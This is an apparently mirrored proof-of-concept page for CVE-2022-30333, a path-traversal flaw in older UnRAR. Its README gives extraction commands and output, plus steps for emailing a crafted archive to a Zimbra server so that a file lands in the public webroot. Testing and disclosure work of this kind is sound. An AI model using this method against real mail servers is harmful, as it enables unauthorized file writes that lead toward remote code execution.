Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-30333 PoC — UnRAR 路径遍历漏洞

Source
Associated Vulnerability
Title:UnRAR 路径遍历漏洞 (CVE-2022-30333)
Description:UnRAR是一个可解压rar后缀文件的命令。 UnRAR 6.12 之前版本存在安全漏洞,该漏洞源于允许在提取(也称为解包)操作期间目录遍历写入文件,如创建 ~/.ssh/authorized_keys 文件所示。
Readme
# CVE-2022-30333-POC 
**Sample file to test CVE-2022-30333**
- [Sample.rar](./sample.rar) : if you want to test on Linux. When you extract, it create **trav** in **../../tmp/traversed**. Please be sure that directory **../../tmp/traversed** exists before extracting Sample.rar

- [exp.rar](./exp.rar) : if you want to test on Zimbra Mail server. When you extract, it create **moo.txt** in */opt/zimbra/jetty\_base/webapps/zimbra/public/*. You can access this file at https://zimbra_mail_domain/public/moo.txt  
## EXPLOITATION STEPS
### Testing on Linux
```
mkdir ../../tmp/traversed (the destination folder must exsist before unrar)

ls -la ../../tmp/traversed/
total 8
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul  4 02:44 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul  4 02:40 ..

unrar x exp.rar

UNRAR 6.10 beta 1 freeware      Copyright (c) 1993-2021 Alexander Roshal

Corrupt header is found
sym - the file header is corrupt

Extracting from exp.rar

Corrupt header is found
sym - the file header is corrupt
Extracting  sym                                                       OK 
Extracting  sym/trav                                                  OK 
Total errors: 4

ls -la ../../tmp/traversed/
total 12
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul  4 02:47 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul  4 02:40 ..
-rw-rw-r-- 1 ubuntu ubuntu   14 Jul  4 02:34 trav

cat ../../tmp/traversed/trav
"traversed"
```
### Testing on Zimbra
- Create an email and attach malicious rar file then send to Zimbra email address. This rar file will be extracted while being analyzed with Amavisd.
- The  moo.txt should be at: */opt/zimbra/jetty\_base/webapps/zimbra/public/moo.txt* or *https://zimbra_mail_domain/public/moo.txt*

## REFERENCES
1. [Vietnamese blog from DEV2SEC](https://dev2sec.tech/security/zimbra-pre-auth-rce/)
2. [English blog from Sonarsource](https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/)
3. Special thanks to **mrlihd** for helping me rebuild attack-chain in Zimbra
File Snapshot

[4.0K] /data/pocs/a466bbf77e0994a73365f10d75c757401eab6bb2 ├── [ 172] exp.rar ├── [2.0K] README.md └── [ 145] sample.rar 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.